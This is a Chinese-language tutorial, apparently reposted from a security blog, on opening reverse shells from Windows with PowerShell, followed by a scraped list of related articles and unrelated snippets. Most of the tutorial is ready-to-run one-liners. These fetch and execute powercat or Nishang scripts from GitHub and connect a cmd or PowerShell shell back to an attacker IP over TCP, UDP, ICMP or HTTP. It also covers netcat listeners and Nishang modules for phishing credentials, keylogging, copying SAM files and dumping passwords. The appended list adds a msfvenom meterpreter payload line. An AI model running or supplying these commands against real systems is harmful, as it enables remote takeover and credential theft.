原作者:Cream

文章出处: 贝塔安全实验室

0x01 Powershell反弹shell

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。

一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本可以在内存中运行(无文件化)。我们可以将powershell看做是命令提示符cmd.exe的扩展。

各个系统中Powershell的版本如下:

可以在输入Get-Host或者$PSVersionTable.PSVERSION来查看版本信息,如下所示:

2.1 powercat反弹shell

powercathttps://github.com/besimorhino/powercat为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。

攻击者监听:

nc –lvnp 9999

目标机反弹CMD:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd

攻击机收到目标机的回弹:

若攻击机没有nc的话,可以先下载一个powercat,之后再进行监听:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999

攻击机收到目标机的回弹:

2.2 nishang反弹shell

Nishanghttps://github.com/samratashok/nishang是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

Nishang要在PowerShell3.0以上的环境下才可以正常使用,在window 7或者server2008上可能会出现一些异常。

导入Nishang模块
Import-Module .\nishang.psm1
导入成功后,产看Nishang中模块
Get-Command –Module nishang

Nishang攻击模块有(只介绍部分):

Check-VM:检测目标机器是否为虚拟机

Invoke-CredentialsPhish:欺骗目标主机用户,用作钓鱼

Copy-VSS:利用Volume Shaodow Copy复制sam文件

FireBuster FireLiStener:用作内网环境扫描

Keylogger:用作键盘记录

Invoke-Mimikatz:类似Mimikatz,直接获取系统账号明文密码

Get-PassHashes:获取系统密码hash值
2.2.1 基于TCP的Powershell交互式shell

在目标机上执行如下的代码:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
其中,Invoke-PowerShellTcp是基于TCP协议的Powershell正向连接或者反向连接shell,其参数如下:
- IPAddress 反向连接时设置的IP
- Port 正向连接时设置的端口,前面要写上-Bind参数
- Reverse 反向连接
- Bind 正向连接

反向连接:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999

2.2.2 基于UDP的Powershell交互式shell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399

在攻击者的电脑上执行如下的命令:

nc -lup 6005

上述测试是反向连接,那么正向连接的时候,在攻击者的电脑上运行的命令为:

nc -nvu 192.168.1.24 4555

2.2.3 基于ICMP的Poershell交互式Shell

需要借助于icmpsh_m.py文件,其用法如下:

./icmpsh-m.py <source IP address> <destination IP address>

在被攻击的机器上执行:

Invoke-PowerShellIcmp -IPAddress <source IP address>
2.2.4 基于HTTP/HTTPS的Poershell交互式Shell
HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
HTTPS: Invoke-PoshRatHttps –IPAddess 192.168.1.4 –Port 4444
然后会生成一个powershell如下的命令····IEX ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后复制该命令在被攻击机器上执行即可,便可看到反弹的shell

0x02 参考链接

反弹shell的学习总结

[Shell]Powershell反弹shell的更多相关文章

  1. python shell与反弹shell

    python shell与反弹shell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端, ...

  2. [Shell]Telnet反弹shell

    原作者:包子love 文章出处:黑白之道 今天给大家介绍两种telnet反弹shell的方法,相对于其他方式反弹shell要简单一点,可作为按需远程控制或留后门使用,希望可以帮助到大家. 前提条件:目 ...

  3. 利用powershell反弹shell到metasploit

    一.使用msfvenom生成PS1文件: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= -f psh-reflection >.p ...

  4. 反弹Shell原理及检测技术研究

    1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...

  5. Windows 反弹 Shell

    NC 反弹 shell 攻击场景: Victim IP: 192.168.2.10 Attacker IP:192.168.2.11 正向 Shell 我们想要弹回Victim的Shell,使用如下命 ...

  6. 各种反弹shell方法总结

    获取shell的方法总结: shell分为两种,一种是正向shell,另一种是反向shell.如果客户端连接服务器,客户端主动连接服务器,就称为正向shell.如果客户端连接服务器,服务器想要获得客户 ...

  7. linux 反弹shell

    Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...

  8. Linux 反弹 Shell

    攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写 ...

  9. Liunx反弹shell的几种方式

    什么是反弹shell? 简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的 ...

随机推荐

  1. Git pull记住密码

    在使用https git拉取代码时,每次git pull的时候都会让输入用户名和密码 进入项目目录 命令:git config --global credential.helper store 然后会 ...

  2. python之函数基本使用

    函数的定义: 函数是一段具有特定功能的.可重用的语句组,用函数名来表示并通过函数名进行功能调用. 使用函数主要有两个目的:降低编程难度和代码重用. python定义一个函数是通过使用def保留字的方式 ...

  3. 加快JavaScript加载和执行效率

    JavaScript 在浏览器中的性能成为开发者所面临的最重要的可用性问题.而这个问题又因 JavaScript 的阻塞特性变的复杂,也就是说当浏览器在执行 JavaScript 代码时,不能同时做其 ...

  4. JacksonJson的使用

    JacksonJson是SpringMVC内置的json处理工具,其中有一个ObjectMapper类,可以方便的实现对json的处理: //对象转字符串 // json处理工具 private Ob ...

  5. 对比centos7的systemctl和其他service+chkconfig

    syetemctl就是service和chkconfig这两个命令的整合,在CentOS 7就开始被使用了.systemctl 是系统服务管理器命令,它实际上将 service 和 chkconfig ...

  6. javascript动态添加html节点

    之前一直没怎么接触需要动态添加和删除html节点的项目,这次项目中用到了,也学习了. 在一个<table id="tab">标签中添加一个<tr id=" ...

  7. HTML的BODY内标签介绍

    一.基本标签 <body> <b>加粗</b> <i>斜体</i> <u>下划线</u> <s>删除线& ...

  8. vsftpd设置虚拟用户

    centos6.5环境 软件安装: yum install vsftpd db4-utils 1. 添加虚拟用户口令文件 #添加一个虚拟用户testvim /etc/vsftpd/vftp_vuser ...

  9. git使用——忽略文件

    一般我们总会有些文件无需纳入 Git 的管理,也不希望它们总出现在未跟踪文件列表. 通常都是些自动生成的文件,比如日志文件,或者编译过程中创建的临时文件等.git下有2种方式实现忽略文件的目的.方法一 ...

  10. Linux VPS搭建蚂蚁笔记Leanote私有云笔记存储平台

    一.基础环境LNMP 安装nginx: yum install epel-release -y yum install nginx -y # 启动 nginx systemctl start ngin ...